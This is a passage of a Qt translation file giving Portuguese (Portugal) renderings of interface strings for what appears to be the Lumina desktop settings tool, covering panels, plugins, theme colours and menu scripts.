Overwrite it?</source>\n <translation>Esse esquema de cores já existe.\nSubstituir?</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.cpp\" line=\"121\"/>\n <location filename=\"../ColorDialog.cpp\" line=\"122\"/>\n <source>Select Color</source>\n <translation>Selecionar cor</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.cpp\" line=\"142\"/>\n <source>Color Value</source>\n <translation>Valor da cor</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.cpp\" line=\"142\"/>\n <source>Color:</source>\n <translation>Cor:</translation>\n </message>\n</context>\n<context>\n <name>GetPluginDialog</name>\n <message>\n <location filename=\"../GetPluginDialog.ui\" line=\"14\"/>\n <source>Select Plugin</source>\n <translation>Selecionar plugin</translation>\n </message>\n <message>\n <location filename=\"../GetPluginDialog.ui\" line=\"26\"/>\n <source>Select a Plugin:</source>\n <translation>Selecionar um plugin:</translation>\n </message>\n <message>\n <location filename=\"../GetPluginDialog.ui\" line=\"57\"/>\n <source>Cancel</source>\n <translation>Cancelar</translation>\n </message>\n <message>\n <location filename=\"../GetPluginDialog.ui\" line=\"77\"/>\n <source>Select</source>\n <translation>Selecionar</translation>\n </message>\n</context>\n<context>\n <name>PanelWidget</name>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"32\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"93\"/>\n <source>Location</source>\n <translation>Localização</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"114\"/>\n <source>Edge:</source>\n <translation>Margem:</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"131\"/>\n <source>Size:</source>\n <translation>Tamanho:</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"138\"/>\n <source> pixel(s) thick</source>\n <translation> pixeis de espessura</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"157\"/>\n <source>% length</source>\n <translation>% de comprimento</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"183\"/>\n <source>Alignment:</source>\n <translation>Alinhamento:</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"204\"/>\n <source>Appearance</source>\n <translation>Aparência</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"222\"/>\n <source>Auto-hide Panel</source>\n <translation>Ocultar painel automaticamente</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"229\"/>\n <source>Use Custom Color</source>\n <translation>Utilizar cor personalizada</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"250\"/>\n <source>...</source>\n <translation>...</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"257\"/>\n <source>Sample</source>\n <translation>Amostra</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.ui\" line=\"287\"/>\n <source>Plugins</source>\n <translation>Plugins</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"19\"/>\n <source>Top/Left</source>\n <translation>Cima/Esquerda</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"20\"/>\n <source>Center</source>\n <translation>Centro</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"21\"/>\n <source>Bottom/Right</source>\n <translation>Baixo/Direita</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"22\"/>\n <source>Top</source>\n <translation>Cima</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"23\"/>\n <source>Bottom</source>\n <translation>Baixo</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"24\"/>\n <source>Left</source>\n <translation>Esquerda</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"25\"/>\n <source>Right</source>\n <translation>Direita</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"44\"/>\n <location filename=\"../PanelWidget.cpp\" line=\"117\"/>\n <source>Panel %1</source>\n <translation>Painel %1</translation>\n </message>\n <message>\n <location filename=\"../PanelWidget.cpp\" line=\"155\"/>\n <location filename=\"../PanelWidget.cpp\" line=\"156\"/>\n <source>Select Color</source>\n <translation>Selecionar cor</translation>\n </message>\n</context>\n<context>\n <name>QObject</name>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"80\"/>\n <source>Desktop Bar</source>\n <translation>Barra da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"81\"/>\n <source>This provides shortcuts to everything in the desktop folder - allowing easy access to all your favorite files/applications.</source>\n <translation>Disponibiliza os atalhos para tudo o que estiver na pasta &apos;desktop&apos;, permitindo o acesso rápido as aplicações e ficheiros favoritos.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"87\"/>\n <source>Spacer</source>\n <translation>Espaçador</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"88\"/>\n <source>Invisible spacer to separate plugins.</source>\n <translation>Espaçador invisível para separar os plugins.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"102\"/>\n <source>Controls for switching between the various virtual desktops.</source>\n <translation>Controlos para alternar entre as várias áreas de trabalho virtuais.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"108\"/>\n <source>Battery Monitor</source>\n <translation>Monitor de bateria</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"109\"/>\n <source>Keep track of your battery status.</source>\n <translation>Monitorizar bateria do computador.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"115\"/>\n <source>Time/Date</source>\n <translation>Hora/Data</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"116\"/>\n <source>View the current time and date.</source>\n <translation>Mostrar data e hora atuais.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"122\"/>\n <source>System Dashboard</source>\n <translation>Painel do sistema</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"123\"/>\n <source>View or change system settings (audio volume, screen brightness, battery life, virtual desktops).</source>\n <translation>Ver e alterar definições do sistema (volume, brilho do ecrã, bateria, ambientes virtuais).</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"129\"/>\n <location filename=\"../LPlugins.cpp\" line=\"291\"/>\n <source>Task Manager</source>\n <translation>Gestor de tarefas</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"136\"/>\n <source>Task Manager (No Groups)</source>\n <translation>Gestor de tarefas (sem grupo)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"143\"/>\n <source>System Tray</source>\n <translation>Bandeja do sistema</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"144\"/>\n <source>Display area for dockable system applications</source>\n <translation>Área para exibição das aplicações de sitema</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"151\"/>\n <source>Hide all open windows and show the desktop</source>\n <translation>Ocultar todas as janelas abertas e mostrar área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"157\"/>\n <source>Start Menu</source>\n <translation>Menu Iniciar</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"190\"/>\n <source>Calendar</source>\n <translation>Calendário</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"191\"/>\n <source>Display a calendar on the desktop</source>\n <translation>Mostrar um calendário na área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"164\"/>\n <location filename=\"../LPlugins.cpp\" line=\"197\"/>\n <source>Application Launcher</source>\n <translation>Lançador de aplicações</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"66\"/>\n <source>User Menu</source>\n <translation>Menu de utilizador</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"67\"/>\n <source>Start menu alternative focusing on the user&apos;s files, directories, and favorites.</source>\n <translation>Menu Iniciar alternativo com foco nos ficheiros, diretórios e favoritos do utilizador.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"73\"/>\n <source>Application Menu</source>\n <translation>Menu de aplicações</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"74\"/>\n <source>Start menu alternative which focuses on launching applications.</source>\n <translation>Menu Iniciar alternativo com foco em aplicações.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"94\"/>\n <source>Line</source>\n <translation>Linha</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"95\"/>\n <source>Simple line to provide visual separation between items.</source>\n <translation>Uma linha para separar os itens.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"101\"/>\n <source>Workspace Switcher</source>\n <translation>Alternador de espaços de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"130\"/>\n <source>View and control any running application windows (group similar windows under a single button).</source>\n <translation>Ver e controlar as janelas de aplicações em execução (agrupa janelas similares para um botão).</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"137\"/>\n <source>View and control any running application windows (every individual window has a button)</source>\n <translation>Ver e controlar as janelas de aplicações em execução (a cada janela é atribuído um botão).</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"150\"/>\n <source>Show Desktop</source>\n <translation>Mostrar área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"158\"/>\n <source>Unified system access and application launch menu.</source>\n <translation>Acesso unificado ao sistema e menu de aplicações.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"165\"/>\n <source>Pin an application shortcut directly to the panel</source>\n <translation>Fixar um atalho de aplicação diretamente no painel</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"198\"/>\n <source>Desktop button for launching an application</source>\n <translation>Botão da área de trabalho para iniciar uma aplicação</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"204\"/>\n <source>Desktop Icons View</source>\n <translation>Vista de ícones na área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"211\"/>\n <source>Note Pad</source>\n <translation>Anotações</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"212\"/>\n <source>Keep simple text notes on your desktop</source>\n <translation>Criar notas para as mostrar na área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"171\"/>\n <location filename=\"../LPlugins.cpp\" line=\"218\"/>\n <source>Audio Player</source>\n <translation>Reprodutor de áudio</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"172\"/>\n <location filename=\"../LPlugins.cpp\" line=\"219\"/>\n <source>Play through lists of audio files</source>\n <translation>Reproduzir uma lista de ficheiros</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"225\"/>\n <source>System Monitor</source>\n <translation>Monitor de sistema</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"226\"/>\n <source>Keep track of system statistics such as CPU/Memory usage and CPU temperatures.</source>\n <translation>Manter controlo sobre as estatísticas do sistema, tais como temperatura da CPU e uso da memória.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"232\"/>\n <source>RSS Reader</source>\n <translation>Leitor RSS</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"233\"/>\n <source>Monitor RSS Feeds (Requires internet connection)</source>\n <translation>Monitorizar fontes RSS (reque acesso à Internet)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"256\"/>\n <source>Terminal</source>\n <translation>Terminal</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"257\"/>\n <source>Start the default system terminal.</source>\n <translation>Iniciar terminal do sistema.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"264\"/>\n <source>Browse the system with the default file manager.</source>\n <translation>Explorar sistema de ficheiros com o gestor de ficheiros.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"270\"/>\n <location filename=\"../pages/getPage.cpp\" line=\"47\"/>\n <source>Applications</source>\n <translation>Aplicações</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"271\"/>\n <source>Show the system applications menu.</source>\n <translation>Mostrar menu de aplicações do sistema.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"277\"/>\n <source>Separator</source>\n <translation>Separador</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"278\"/>\n <source>Static horizontal line.</source>\n <translation>Linha horizontal estática.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"285\"/>\n <source>Show the desktop settings menu.</source>\n <translation>Mostrar menu de definições da área de trabalho.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"298\"/>\n <source>Custom App</source>\n <translation>Aplicação personalizada</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"299\"/>\n <source>Start a custom application</source>\n <translation>Iniciar uma aplicação personalizada</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"178\"/>\n <location filename=\"../LPlugins.cpp\" line=\"305\"/>\n <source>Menu Script</source>\n <translation>Script de menu</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"205\"/>\n <source>Configurable area for automatically showing desktop icons</source>\n <translation>Área de configuração para mostrar os ícones da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"263\"/>\n <source>Browse Files</source>\n <translation>Explorar ficheiros</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"284\"/>\n <source>Preferences</source>\n <translation>Preferências</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"292\"/>\n <source>List the open, minimized, active, and urgent application windows</source>\n <translation>Lista as janelas abertas, minimizadas, ativas e urgentes</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"179\"/>\n <location filename=\"../LPlugins.cpp\" line=\"306\"/>\n <source>Run an external script to generate a user defined menu</source>\n <translation>Excutar um script externo para criar um menu personalizado</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"312\"/>\n <source>Lock Session</source>\n <translation>Bloquear sessão</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"313\"/>\n <source>Lock the current desktop session</source>\n <translation>Bloquear sessão atual</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"323\"/>\n <source>Text</source>\n <translation>Texto</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"324\"/>\n <source>Color to use for all visible text.</source>\n <translation>Cor utilizada em todos os textos visíveis.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"329\"/>\n <source>Text (Disabled)</source>\n <translation>Texto (desativado)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"330\"/>\n <source>Text color for disabled or inactive items.</source>\n <translation>Cor do texto para os itens desativados ou inativos.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"335\"/>\n <source>Text (Highlighted)</source>\n <translation>Texto (destaques)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"336\"/>\n <source>Text color when selection is highlighted.</source>\n <translation>Cor do texto ao destacar uma seleção.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"341\"/>\n <source>Base Window Color</source>\n <translation>Cor base de janelas</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"342\"/>\n <source>Main background color for the window/dialog.</source>\n <translation>Cor de fundo principal para os diálogos e janelas.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"347\"/>\n <source>Base Window Color (Alternate)</source>\n <translation>Cor base de janelas (alternativa)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"348\"/>\n <source>Main background color for widgets that list or display collections of items.</source>\n <translation>Cor de fundo principal para os widgets que listam ou mostram os itens.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"353\"/>\n <source>Primary Color</source>\n <translation>Cor principal</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"354\"/>\n <source>Dominant color for the theme.</source>\n <translation>Cor dominante para o tema.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"359\"/>\n <source>Primary Color (Disabled)</source>\n <translation>Cor principal (desativado)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"360\"/>\n <source>Dominant color for the theme (more subdued).</source>\n <translation>Cor dominante para o tema (mais suave).</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"365\"/>\n <source>Secondary Color</source>\n <translation>Cor secundária</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"366\"/>\n <source>Alternate color for the theme.</source>\n <translation>Cor alternativa para o tema.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"371\"/>\n <source>Secondary Color (Disabled)</source>\n <translation>Cor secundária (desativada)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"372\"/>\n <source>Alternate color for the theme (more subdued).</source>\n <translation>Cor alternativa para o tema (mais suave).</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"377\"/>\n <source>Accent Color</source>\n <translation>Cor de destaque</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"378\"/>\n <source>Color used for borders or other accents.</source>\n <translation>Cor utilizada para os contornos ou outros destaques.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"383\"/>\n <source>Accent Color (Disabled)</source>\n <translation>Cor de destaque (desativada)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"384\"/>\n <source>Color used for borders or other accents (more subdued).</source>\n <translation>Cor utilizada para os contornos ou outros destaques (mais suave).</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"389\"/>\n <source>Highlight Color</source>\n <translation>Cor de realce</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"390\"/>\n <source>Color used for highlighting an item.</source>\n <translation>Cor utilizada para realçar um item.</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"395\"/>\n <source>Highlight Color (Disabled)</source>\n <translation>Cor de realce (desativada)</translation>\n </message>\n <message>\n <location filename=\"../LPlugins.cpp\" line=\"396\"/>\n <source>Color used for highlighting an item (more subdued).</source>\n <translation>Cor utilizada para realçar um item (mais suave).</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"43\"/>\n <source>Wallpaper Settings</source>\n <translation>Definições do papel de parede</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"43\"/>\n <source>Change background image(s)</source>\n <translation>Alterar imagem de fundo</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"44\"/>\n <source>Theme Settings</source>\n <translation>Definições de tema</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"44\"/>\n <source>Change interface fonts and colors</source>\n <translation>Alterar cores e tipo de letra do sistema</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"45\"/>\n <source>Window Effects</source>\n <translation>Efeitos de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"45\"/>\n <source>Adjust transparency levels and window effects</source>\n <translation>Ajustar níveis de transparência e efeitos de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"46\"/>\n <source>Startup Settings</source>\n <translation>Definições de arranque</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"46\"/>\n <source>Automatically start applications or services</source>\n <translation>Início automático de aplicações e serviços</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"43\"/>\n <source>Wallpaper</source>\n <translation>Papel de parede</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"44\"/>\n <location filename=\"../pages/getPage.cpp\" line=\"55\"/>\n <source>Theme</source>\n <translation>Tema</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"46\"/>\n <source>Autostart</source>\n <translation>Arranque automático</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"47\"/>\n <source>Mimetype Settings</source>\n <translation>Definições de tipo MIME</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"47\"/>\n <source>Change default applications</source>\n <translation>Alterar aplicações padrão</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"48\"/>\n <source>Keyboard Shortcuts</source>\n <translation>Atalhos do teclado</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"48\"/>\n <source>Change keyboard shortcuts</source>\n <translation>Alterar atalhos de teclado</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"49\"/>\n <source>Window Manager</source>\n <translation>Gestor de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"49\"/>\n <source>Window Settings</source>\n <translation>Definições de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"49\"/>\n <source>Change window settings and appearances</source>\n <translation>Alterar definições e aparência das janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"50\"/>\n <source>Desktop</source>\n <translation>Área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"51\"/>\n <source>Panels</source>\n <translation>Painéis</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"52\"/>\n <source>Menu</source>\n <translation>Menu</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"55\"/>\n <source>Sound Themeing</source>\n <translation>Sons</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"55\"/>\n <source>Change basic sound settings</source>\n <translation>Alterar definições de som</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"50\"/>\n <source>Desktop Plugins</source>\n <translation>Plugins da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"50\"/>\n <source>Change what icons or tools are embedded on the desktop</source>\n <translation>Alterar ícones e as ferramentas incorporadas na área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"51\"/>\n <source>Panels and Plugins</source>\n <translation>Painéis e plugins</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"51\"/>\n <source>Change any floating panels and what they show</source>\n <translation>Alterar painéis flutuantes e o que estes mostram</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"52\"/>\n <source>Menu Plugins</source>\n <translation>Plugins de menu</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"52\"/>\n <source>Change what options are shown on the desktop context menu</source>\n <translation>Alterar as opções mostradas no menu de contexto</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"53\"/>\n <source>Locale Settings</source>\n <translation>Definições de idioma</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"53\"/>\n <source>Change the default locale settings for this user</source>\n <translation></translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"53\"/>\n <source>Localization</source>\n <translation>Localização</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"54\"/>\n <source>General Options</source>\n <translation>Opções gerais</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"54\"/>\n <source>User Settings</source>\n <translation>Definições do utilizador</translation>\n </message>\n <message>\n <location filename=\"../pages/getPage.cpp\" line=\"54\"/>\n <source>Change basic user settings such as time/date formats</source>\n <translation>Alterar definições de utilizador tais como formatos de data/hora</translation>\n </message>\n</context>\n<context>\n <name>ScriptDialog</name>\n <message>\n <location filename=\"../ScriptDialog.ui\" line=\"14\"/>\n <source>Setup a JSON Menu Script</source>\n <translation>Configurar um script de menu JSON</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.ui\" line=\"25\"/>\n <source>Visible Name:</source>\n <translation>Nome visível:</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.ui\" line=\"32\"/>\n <source>Executable:</source>\n <translation>Executável:</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.ui\" line=\"39\"/>\n <source>Icon:</source>\n <translation>Ícone:</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.ui\" line=\"54\"/>\n <location filename=\"../ScriptDialog.ui\" line=\"87\"/>\n <source>...</source>\n <translation>...</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.ui\" line=\"126\"/>\n <source>Cancel</source>\n <translation>Cancelar</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.ui\" line=\"133\"/>\n <source>Apply</source>\n <translation>Aplicar</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.cpp\" line=\"57\"/>\n <source>Select a menu script</source>\n <translation>Selecione o script de menu</translation>\n </message>\n <message>\n <location filename=\"../ScriptDialog.cpp\" line=\"64\"/>\n <source>Select an icon file</source>\n <translation>Selecione um ficheiro de ícone</translation>\n </message>\n</context>\n<context>\n <name>ThemeDialog</name>\n <message>\n <location filename=\"../ThemeDialog.ui\" line=\"14\"/>\n <source>Theme Editor</source>\n <translation>Editor de tema</translation>\n </message>\n <message>\n <location filename=\"../ThemeDialog.ui\" line=\"28\"/>\n <source>Theme Name:</source>\n <translation>Nome do tema:</translation>\n </message>\n <message>\n <location filename=\"../ThemeDialog.ui\" line=\"51\"/>\n <source>color</source>\n <translation>cor</translation>\n </message>\n <message>\n <location filename=\"../ThemeDialog.ui\" line=\"74\"/>\n <source>Cancel</source>\n <translation>Cancelar</translation>\n </message>\n <message>\n <location filename=\"../ThemeDialog.ui\" line=\"94\"/>\n <source>Save</source>\n <translation>Guardar</translation>\n </message>\n <message>\n <location filename=\"../ThemeDialog.ui\" line=\"101\"/>\n <source>Apply</source>\n <translation>Aplicar</translation>\n </message>\n <message>\n <location filename=\"../ThemeDialog.cpp\" line=\"65\"/>\n <location filename=\"../ThemeDialog.cpp\" line=\"82\"/>\n <source>Theme Exists</source>\n <translation>Tema existente</translation>\n </message>\n <message>\n <location filename=\"../ThemeDialog.cpp\" line=\"65\"/>\n <location filename=\"../ThemeDialog.cpp\" line=\"82\"/>\n <source>This theme already exists.\n Overwrite it?</source>\n <translation>Esse tema já existe. \nSubstituir?</translation>\n </message>\n</context>\n<context>\n <name>XDGDesktopList</name>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"608\"/>\n <source>Multimedia</source>\n <translation>Multimédia</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"609\"/>\n <source>Development</source>\n <translation>Desenvolvimento</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"610\"/>\n <source>Education</source>\n <translation>Educação</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"611\"/>\n <source>Games</source>\n <translation>Jogos</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"612\"/>\n <source>Graphics</source>\n <translation>Gráficos</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"613\"/>\n <source>Network</source>\n <translation>Rede</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"614\"/>\n <source>Office</source>\n <translation>Escritório</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"615\"/>\n <source>Science</source>\n <translation>Ciência</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"616\"/>\n <source>Settings</source>\n <translation>Definições</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"617\"/>\n <source>System</source>\n <translation>Sistema</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"618\"/>\n <source>Utility</source>\n <translation>Utilitários</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"619\"/>\n <source>Wine</source>\n <translation>Wine</translation>\n </message>\n <message>\n <location filename=\"../../../core/libLumina/LuminaXDG.cpp\" line=\"620\"/>\n <source>Unsorted</source>\n <translation>Sem grupo</translation>\n </message>\n</context>\n<context>\n <name>mainWindow</name>\n <message>\n <location filename=\"../mainWindow.ui\" line=\"44\"/>\n <source>Save</source>\n <translation>Guardar</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.ui\" line=\"47\"/>\n <source>Save current changes</source>\n <translation>Guardar alterações</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.ui\" line=\"50\"/>\n <source>Ctrl+S</source>\n <translation>Ctrl+S</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.ui\" line=\"55\"/>\n <source>Back to settings</source>\n <translation>Recuar para Definições</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.ui\" line=\"58\"/>\n <location filename=\"../mainWindow.ui\" line=\"61\"/>\n <source>Back to overall settings</source>\n <translation>Recuar para definições 